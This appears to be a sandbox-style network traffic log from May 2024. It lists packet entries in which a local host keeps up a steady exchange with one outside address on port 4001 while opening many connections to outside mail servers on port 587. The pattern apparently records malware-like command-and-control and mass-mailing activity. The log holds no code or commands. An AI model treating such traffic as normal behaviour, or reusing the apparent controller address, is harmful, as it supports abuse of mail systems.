May 19, 2024 17:27:58.447447062 CEST	587	50001	83.102.40.117	192.168.2.4
May 19, 2024 17:27:58.447734118 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.453119993 CEST	587	49994	65.20.63.172	192.168.2.4
May 19, 2024 17:27:58.453469038 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.458638906 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.458933115 CEST	49948	587	192.168.2.4	182.248.170.226
May 19, 2024 17:27:58.464204073 CEST	587	49847	168.0.132.203	192.168.2.4
May 19, 2024 17:27:58.464485884 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.469860077 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.489913940 CEST	50001	587	192.168.2.4	83.102.40.117
May 19, 2024 17:27:58.489924908 CEST	50022	587	192.168.2.4	195.238.20.30
May 19, 2024 17:27:58.495285034 CEST	587	50120	66.133.129.50	192.168.2.4
May 19, 2024 17:27:58.495381117 CEST	587	50074	103.13.28.93	192.168.2.4
May 19, 2024 17:27:58.495417118 CEST	587	49793	52.63.237.70	192.168.2.4
May 19, 2024 17:27:58.495599985 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.495599985 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.495599985 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.505656958 CEST	49847	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:58.506221056 CEST	49994	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:58.519624949 CEST	587	49819	91.136.8.56	192.168.2.4
May 19, 2024 17:27:58.519856930 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.524514914 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.529664040 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.529975891 CEST	587	50000	213.172.96.34	192.168.2.4
May 19, 2024 17:27:58.530257940 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.535072088 CEST	587	50022	195.238.20.30	192.168.2.4
May 19, 2024 17:27:58.535130024 CEST	587	50022	195.238.20.30	192.168.2.4
May 19, 2024 17:27:58.535248995 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.535248995 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.535432100 CEST	50022	587	192.168.2.4	195.238.20.30
May 19, 2024 17:27:58.535464048 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.536786079 CEST	50120	587	192.168.2.4	66.133.129.50
May 19, 2024 17:27:58.538407087 CEST	49793	587	192.168.2.4	52.63.237.70
May 19, 2024 17:27:58.538484097 CEST	50074	587	192.168.2.4	103.13.28.93
May 19, 2024 17:27:58.540455103 CEST	587	50014	3.125.131.179	192.168.2.4
May 19, 2024 17:27:58.540488958 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.540518999 CEST	587	49934	65.20.63.172	192.168.2.4
May 19, 2024 17:27:58.540550947 CEST	587	49836	193.122.179.25	192.168.2.4
May 19, 2024 17:27:58.540668964 CEST	50014	587	192.168.2.4	3.125.131.179
May 19, 2024 17:27:58.540668964 CEST	50014	587	192.168.2.4	3.125.131.179
May 19, 2024 17:27:58.540714025 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.540714025 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.540811062 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.540853024 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.541078091 CEST	50002	587	192.168.2.4	103.82.242.210
May 19, 2024 17:27:58.545416117 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.550390005 CEST	587	50014	3.125.131.179	192.168.2.4
May 19, 2024 17:27:58.567998886 CEST	49819	587	192.168.2.4	91.136.8.56
May 19, 2024 17:27:58.572968006 CEST	587	50002	103.82.242.210	192.168.2.4
May 19, 2024 17:27:58.572999001 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.573030949 CEST	587	50097	64.91.253.60	192.168.2.4
May 19, 2024 17:27:58.573141098 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.583631039 CEST	50000	587	192.168.2.4	213.172.96.34
May 19, 2024 17:27:58.583642960 CEST	49934	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:58.583751917 CEST	49836	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:58.596211910 CEST	587	50121	168.0.132.203	192.168.2.4
May 19, 2024 17:27:58.596318007 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.605588913 CEST	587	50001	83.102.40.117	192.168.2.4
May 19, 2024 17:27:58.605691910 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.610680103 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.614878893 CEST	50097	587	192.168.2.4	64.91.253.60
May 19, 2024 17:27:58.618194103 CEST	587	49998	182.248.170.226	192.168.2.4
May 19, 2024 17:27:58.618284941 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.625947952 CEST	587	49901	103.224.30.254	192.168.2.4
May 19, 2024 17:27:58.626050949 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.626188993 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.626220942 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.633668900 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.633797884 CEST	49903	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:58.633862972 CEST	49986	587	192.168.2.4	209.67.129.100
May 19, 2024 17:27:58.633912086 CEST	50026	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:58.633975029 CEST	49963	587	192.168.2.4	83.223.113.41
May 19, 2024 17:27:58.634021997 CEST	50091	587	192.168.2.4	2.207.150.234
May 19, 2024 17:27:58.641702890 CEST	587	50011	164.90.203.106	192.168.2.4
May 19, 2024 17:27:58.641906023 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.646141052 CEST	50001	587	192.168.2.4	83.102.40.117
May 19, 2024 17:27:58.646284103 CEST	50121	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:58.646706104 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.646749020 CEST	587	49797	64.59.136.142	192.168.2.4
May 19, 2024 17:27:58.646955013 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.652364969 CEST	587	49903	194.19.134.66	192.168.2.4
May 19, 2024 17:27:58.652410030 CEST	587	49986	209.67.129.100	192.168.2.4
May 19, 2024 17:27:58.652489901 CEST	587	50026	129.159.94.43	192.168.2.4
May 19, 2024 17:27:58.652519941 CEST	587	49963	83.223.113.41	192.168.2.4
May 19, 2024 17:27:58.652551889 CEST	587	50091	2.207.150.234	192.168.2.4
May 19, 2024 17:27:58.652580976 CEST	587	50080	212.85.98.214	192.168.2.4
May 19, 2024 17:27:58.652811050 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.657685041 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.661884069 CEST	49998	587	192.168.2.4	182.248.170.226
May 19, 2024 17:27:58.665564060 CEST	587	50000	213.172.96.34	192.168.2.4
May 19, 2024 17:27:58.665786028 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.671941996 CEST	587	49854	175.135.252.193	192.168.2.4
May 19, 2024 17:27:58.672167063 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.677002907 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.678078890 CEST	49901	587	192.168.2.4	103.224.30.254
May 19, 2024 17:27:58.693028927 CEST	50080	587	192.168.2.4	212.85.98.214
May 19, 2024 17:27:58.693042994 CEST	50011	587	192.168.2.4	164.90.203.106
May 19, 2024 17:27:58.693273067 CEST	49797	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:58.708635092 CEST	50000	587	192.168.2.4	213.172.96.34
May 19, 2024 17:27:58.722475052 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.724268913 CEST	49854	587	192.168.2.4	175.135.252.193
May 19, 2024 17:27:58.732332945 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.732506037 CEST	49822	587	192.168.2.4	162.214.54.15
May 19, 2024 17:27:58.732537985 CEST	49804	587	192.168.2.4	80.91.55.62
May 19, 2024 17:27:58.732834101 CEST	49849	587	192.168.2.4	107.180.41.245
May 19, 2024 17:27:58.740968943 CEST	587	49822	162.214.54.15	192.168.2.4
May 19, 2024 17:27:58.745959044 CEST	587	49804	80.91.55.62	192.168.2.4
May 19, 2024 17:27:58.772037029 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.778100967 CEST	587	49849	107.180.41.245	192.168.2.4
May 19, 2024 17:27:58.778132915 CEST	587	50026	129.159.94.43	192.168.2.4
May 19, 2024 17:27:58.778163910 CEST	587	50073	41.193.157.227	192.168.2.4
May 19, 2024 17:27:58.778378963 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.778379917 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.784049034 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.789073944 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.833667040 CEST	50073	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:58.833735943 CEST	50026	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:58.837481022 CEST	587	49828	46.255.231.70	192.168.2.4
May 19, 2024 17:27:58.837513924 CEST	587	49828	46.255.231.70	192.168.2.4
May 19, 2024 17:27:58.837546110 CEST	587	49828	46.255.231.70	192.168.2.4
May 19, 2024 17:27:58.837575912 CEST	587	49986	209.67.129.100	192.168.2.4
May 19, 2024 17:27:58.837605953 CEST	587	49963	83.223.113.41	192.168.2.4
May 19, 2024 17:27:58.837635994 CEST	587	49848	101.0.69.102	192.168.2.4
May 19, 2024 17:27:58.837666035 CEST	587	50091	2.207.150.234	192.168.2.4
May 19, 2024 17:27:58.837671041 CEST	49828	587	192.168.2.4	46.255.231.70
May 19, 2024 17:27:58.837750912 CEST	49828	587	192.168.2.4	46.255.231.70
May 19, 2024 17:27:58.837814093 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.837814093 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.837814093 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.837814093 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.837920904 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.837920904 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.838026047 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.838058949 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.844050884 CEST	587	49998	182.248.170.226	192.168.2.4
May 19, 2024 17:27:58.844244957 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.848982096 CEST	587	49849	107.180.41.245	192.168.2.4
May 19, 2024 17:27:58.849069118 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.853780031 CEST	587	49828	46.255.231.70	192.168.2.4
May 19, 2024 17:27:58.853818893 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.853848934 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.854172945 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.858551025 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.863353968 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.880527973 CEST	50091	587	192.168.2.4	2.207.150.234
May 19, 2024 17:27:58.880530119 CEST	49848	587	192.168.2.4	101.0.69.102
May 19, 2024 17:27:58.880527973 CEST	49986	587	192.168.2.4	209.67.129.100
May 19, 2024 17:27:58.880625010 CEST	49963	587	192.168.2.4	83.223.113.41
May 19, 2024 17:27:58.886050940 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.886126041 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.886158943 CEST	587	50016	77.78.119.119	192.168.2.4
May 19, 2024 17:27:58.886210918 CEST	50016	587	192.168.2.4	77.78.119.119
May 19, 2024 17:27:58.886240959 CEST	50016	587	192.168.2.4	77.78.119.119
May 19, 2024 17:27:58.886310101 CEST	49989	587	192.168.2.4	40.99.157.50
May 19, 2024 17:27:58.886316061 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.886316061 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.886389971 CEST	49851	587	192.168.2.4	194.185.246.171
May 19, 2024 17:27:58.896203041 CEST	49998	587	192.168.2.4	182.248.170.226
May 19, 2024 17:27:58.898511887 CEST	49849	587	192.168.2.4	107.180.41.245
May 19, 2024 17:27:58.915285110 CEST	587	50002	103.82.242.210	192.168.2.4
May 19, 2024 17:27:58.918648005 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.920372009 CEST	587	50016	77.78.119.119	192.168.2.4
May 19, 2024 17:27:58.925232887 CEST	587	49989	40.99.157.50	192.168.2.4
May 19, 2024 17:27:58.925283909 CEST	587	49851	194.185.246.171	192.168.2.4
May 19, 2024 17:27:58.925312996 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.943049908 CEST	587	50019	117.50.20.113	192.168.2.4
May 19, 2024 17:27:58.946466923 CEST	50019	587	192.168.2.4	117.50.20.113
May 19, 2024 17:27:58.946468115 CEST	50019	587	192.168.2.4	117.50.20.113
May 19, 2024 17:27:58.946609974 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.954154968 CEST	587	49804	80.91.55.62	192.168.2.4
May 19, 2024 17:27:58.954485893 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.958621025 CEST	50002	587	192.168.2.4	103.82.242.210
May 19, 2024 17:27:58.960371971 CEST	587	49804	80.91.55.62	192.168.2.4
May 19, 2024 17:27:58.962537050 CEST	49804	587	192.168.2.4	80.91.55.62
May 19, 2024 17:27:58.962537050 CEST	49804	587	192.168.2.4	80.91.55.62
May 19, 2024 17:27:58.962603092 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.965084076 CEST	587	50019	117.50.20.113	192.168.2.4
May 19, 2024 17:27:58.965117931 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.965620041 CEST	50127	587	192.168.2.4	74.125.133.16
May 19, 2024 17:27:58.970185041 CEST	587	49804	80.91.55.62	192.168.2.4
May 19, 2024 17:27:58.974841118 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.021548986 CEST	587	50127	74.125.133.16	192.168.2.4
May 19, 2024 17:27:59.021593094 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.021678925 CEST	50127	587	192.168.2.4	74.125.133.16
May 19, 2024 17:27:59.021914959 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.022111893 CEST	50015	587	192.168.2.4	193.54.32.8
May 19, 2024 17:27:59.022171021 CEST	50082	587	192.168.2.4	52.62.236.135
May 19, 2024 17:27:59.022516966 CEST	49942	587	192.168.2.4	217.74.65.52
May 19, 2024 17:27:59.022522926 CEST	49767	587	192.168.2.4	62.149.128.200
May 19, 2024 17:27:59.022686005 CEST	50128	587	192.168.2.4	81.7.169.213
May 19, 2024 17:27:59.022867918 CEST	50129	587	192.168.2.4	194.185.246.171
May 19, 2024 17:27:59.026268005 CEST	587	50021	194.153.145.104	192.168.2.4
May 19, 2024 17:27:59.030469894 CEST	50021	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:59.030469894 CEST	50021	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:59.030627966 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.073251963 CEST	587	50119	177.11.54.185	192.168.2.4
May 19, 2024 17:27:59.074569941 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.077887058 CEST	587	50015	193.54.32.8	192.168.2.4
May 19, 2024 17:27:59.077929974 CEST	587	50082	52.62.236.135	192.168.2.4
May 19, 2024 17:27:59.077960968 CEST	587	49942	217.74.65.52	192.168.2.4
May 19, 2024 17:27:59.077990055 CEST	587	49767	62.149.128.200	192.168.2.4
May 19, 2024 17:27:59.078023911 CEST	587	50128	81.7.169.213	192.168.2.4
May 19, 2024 17:27:59.078053951 CEST	587	50129	194.185.246.171	192.168.2.4
May 19, 2024 17:27:59.078083992 CEST	587	50021	194.153.145.104	192.168.2.4
May 19, 2024 17:27:59.078107119 CEST	50129	587	192.168.2.4	194.185.246.171
May 19, 2024 17:27:59.078113079 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.078210115 CEST	50128	587	192.168.2.4	81.7.169.213
May 19, 2024 17:27:59.078351021 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.078351021 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.080465078 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.080509901 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.080641985 CEST	50056	587	192.168.2.4	87.248.97.31
May 19, 2024 17:27:59.080679893 CEST	50054	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:59.080681086 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.081280947 CEST	50033	587	192.168.2.4	129.159.125.229
May 19, 2024 17:27:59.081348896 CEST	49832	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:59.086652994 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.086653948 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.091032982 CEST	587	50056	87.248.97.31	192.168.2.4
May 19, 2024 17:27:59.091073990 CEST	587	50054	84.116.6.22	192.168.2.4
May 19, 2024 17:27:59.091104031 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.095799923 CEST	587	50033	129.159.125.229	192.168.2.4
May 19, 2024 17:27:59.095845938 CEST	587	49832	64.59.136.142	192.168.2.4
May 19, 2024 17:27:59.115000010 CEST	50119	587	192.168.2.4	177.11.54.185
May 19, 2024 17:27:59.120399952 CEST	587	49989	40.99.157.50	192.168.2.4
May 19, 2024 17:27:59.120454073 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.121118069 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.121653080 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.121653080 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.126884937 CEST	50131	587	192.168.2.4	195.32.69.33
May 19, 2024 17:27:59.126961946 CEST	50130	587	192.168.2.4	217.160.0.220
May 19, 2024 17:27:59.131561041 CEST	587	50024	194.153.145.104	192.168.2.4
May 19, 2024 17:27:59.131633043 CEST	50024	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:59.131670952 CEST	50024	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:59.131829023 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.137275934 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.137792110 CEST	50132	587	192.168.2.4	212.159.8.240
May 19, 2024 17:27:59.142187119 CEST	587	50131	195.32.69.33	192.168.2.4
May 19, 2024 17:27:59.142229080 CEST	587	50130	217.160.0.220	192.168.2.4
May 19, 2024 17:27:59.142291069 CEST	50131	587	192.168.2.4	195.32.69.33
May 19, 2024 17:27:59.142307997 CEST	50130	587	192.168.2.4	217.160.0.220
May 19, 2024 17:27:59.142457962 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.142457962 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.146931887 CEST	587	50024	194.153.145.104	192.168.2.4
May 19, 2024 17:27:59.151853085 CEST	587	50132	212.159.8.240	192.168.2.4
May 19, 2024 17:27:59.151952982 CEST	50132	587	192.168.2.4	212.159.8.240
May 19, 2024 17:27:59.152021885 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.157111883 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.161750078 CEST	49989	587	192.168.2.4	40.99.157.50
May 19, 2024 17:27:59.162951946 CEST	50133	587	192.168.2.4	62.149.128.200
May 19, 2024 17:27:59.179480076 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.179627895 CEST	50023	587	192.168.2.4	62.149.128.202
May 19, 2024 17:27:59.179651022 CEST	50013	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:59.179991961 CEST	49964	587	192.168.2.4	201.193.191.44
May 19, 2024 17:27:59.180039883 CEST	50042	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:59.184904099 CEST	587	50133	62.149.128.200	192.168.2.4
May 19, 2024 17:27:59.186427116 CEST	50133	587	192.168.2.4	62.149.128.200
May 19, 2024 17:27:59.186507940 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.189948082 CEST	587	50013	41.193.157.227	192.168.2.4
May 19, 2024 17:27:59.196943998 CEST	587	50023	62.149.128.202	192.168.2.4
May 19, 2024 17:27:59.196974993 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:27:59.197005033 CEST	587	50042	168.0.132.203	192.168.2.4
May 19, 2024 17:27:59.245167971 CEST	587	50033	129.159.125.229	192.168.2.4
May 19, 2024 17:27:59.245224953 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.245304108 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.245378971 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.245403051 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.245435953 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.245507956 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.250314951 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.255137920 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.283680916 CEST	587	50015	193.54.32.8	192.168.2.4
May 19, 2024 17:27:59.283771038 CEST	587	50025	199.85.66.2	192.168.2.4
May 19, 2024 17:27:59.283802032 CEST	587	49912	91.196.0.18	192.168.2.4
May 19, 2024 17:27:59.283830881 CEST	587	49767	62.149.128.200	192.168.2.4
May 19, 2024 17:27:59.283837080 CEST	50025	587	192.168.2.4	199.85.66.2
May 19, 2024 17:27:59.283860922 CEST	587	49767	62.149.128.200	192.168.2.4
May 19, 2024 17:27:59.283880949 CEST	50025	587	192.168.2.4	199.85.66.2
May 19, 2024 17:27:59.283891916 CEST	587	49933	64.91.253.60	192.168.2.4
May 19, 2024 17:27:59.284020901 CEST	49767	587	192.168.2.4	62.149.128.200
May 19, 2024 17:27:59.284024954 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.284025908 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.284025908 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.284025908 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.284070015 CEST	49767	587	192.168.2.4	62.149.128.200
May 19, 2024 17:27:59.284097910 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.284162998 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.285940886 CEST	587	50054	84.116.6.22	192.168.2.4
May 19, 2024 17:27:59.286592007 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.286592007 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.286871910 CEST	50033	587	192.168.2.4	129.159.125.229
May 19, 2024 17:27:59.290709972 CEST	587	50054	84.116.6.22	192.168.2.4
May 19, 2024 17:27:59.290762901 CEST	587	50054	84.116.6.22	192.168.2.4
May 19, 2024 17:27:59.290796041 CEST	587	50056	87.248.97.31	192.168.2.4
May 19, 2024 17:27:59.290817976 CEST	50054	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:59.290905952 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.290958881 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.295566082 CEST	587	50056	87.248.97.31	192.168.2.4
May 19, 2024 17:27:59.295603037 CEST	587	50056	87.248.97.31	192.168.2.4
May 19, 2024 17:27:59.295679092 CEST	587	50056	87.248.97.31	192.168.2.4
May 19, 2024 17:27:59.295710087 CEST	50056	587	192.168.2.4	87.248.97.31
May 19, 2024 17:27:59.295748949 CEST	50056	587	192.168.2.4	87.248.97.31
May 19, 2024 17:27:59.295800924 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.305391073 CEST	587	50056	87.248.97.31	192.168.2.4
May 19, 2024 17:27:59.305447102 CEST	587	50025	199.85.66.2	192.168.2.4
May 19, 2024 17:27:59.305479050 CEST	587	49767	62.149.128.200	192.168.2.4
May 19, 2024 17:27:59.305507898 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.305537939 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.305567026 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.305669069 CEST	50084	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:59.305753946 CEST	50063	587	192.168.2.4	38.111.141.32
May 19, 2024 17:27:59.305830956 CEST	49914	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:59.333667040 CEST	49912	587	192.168.2.4	91.196.0.18
May 19, 2024 17:27:59.349148989 CEST	50015	587	192.168.2.4	193.54.32.8
May 19, 2024 17:27:59.349306107 CEST	49933	587	192.168.2.4	64.91.253.60
May 19, 2024 17:27:59.349307060 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.349451065 CEST	50056	587	192.168.2.4	87.248.97.31
May 19, 2024 17:27:59.353029966 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.353113890 CEST	587	49942	217.74.65.52	192.168.2.4
May 19, 2024 17:27:59.353142977 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.353168964 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.353199959 CEST	587	50028	117.50.20.113	192.168.2.4
May 19, 2024 17:27:59.353249073 CEST	50028	587	192.168.2.4	117.50.20.113
May 19, 2024 17:27:59.353281975 CEST	50028	587	192.168.2.4	117.50.20.113
May 19, 2024 17:27:59.353343010 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.353343010 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.357821941 CEST	587	50084	168.0.132.203	192.168.2.4
May 19, 2024 17:27:59.357863903 CEST	587	50063	38.111.141.32	192.168.2.4
May 19, 2024 17:27:59.357893944 CEST	587	49914	129.159.94.43	192.168.2.4
May 19, 2024 17:27:59.374841928 CEST	587	50028	117.50.20.113	192.168.2.4
May 19, 2024 17:27:59.374883890 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.374959946 CEST	587	50056	87.248.97.31	192.168.2.4
May 19, 2024 17:27:59.374989986 CEST	587	50082	52.62.236.135	192.168.2.4
May 19, 2024 17:27:59.375091076 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.375155926 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.379810095 CEST	587	50054	84.116.6.22	192.168.2.4
May 19, 2024 17:27:59.382450104 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.396246910 CEST	49942	587	192.168.2.4	217.74.65.52
May 19, 2024 17:27:59.412080050 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:27:59.412206888 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.412241936 CEST	587	50015	193.54.32.8	192.168.2.4
May 19, 2024 17:27:59.412271023 CEST	587	50023	62.149.128.202	192.168.2.4
May 19, 2024 17:27:59.412300110 CEST	587	49941	79.96.63.102	192.168.2.4
May 19, 2024 17:27:59.412499905 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.412501097 CEST	49734	4001	192.168.2.4	212.162.153.199
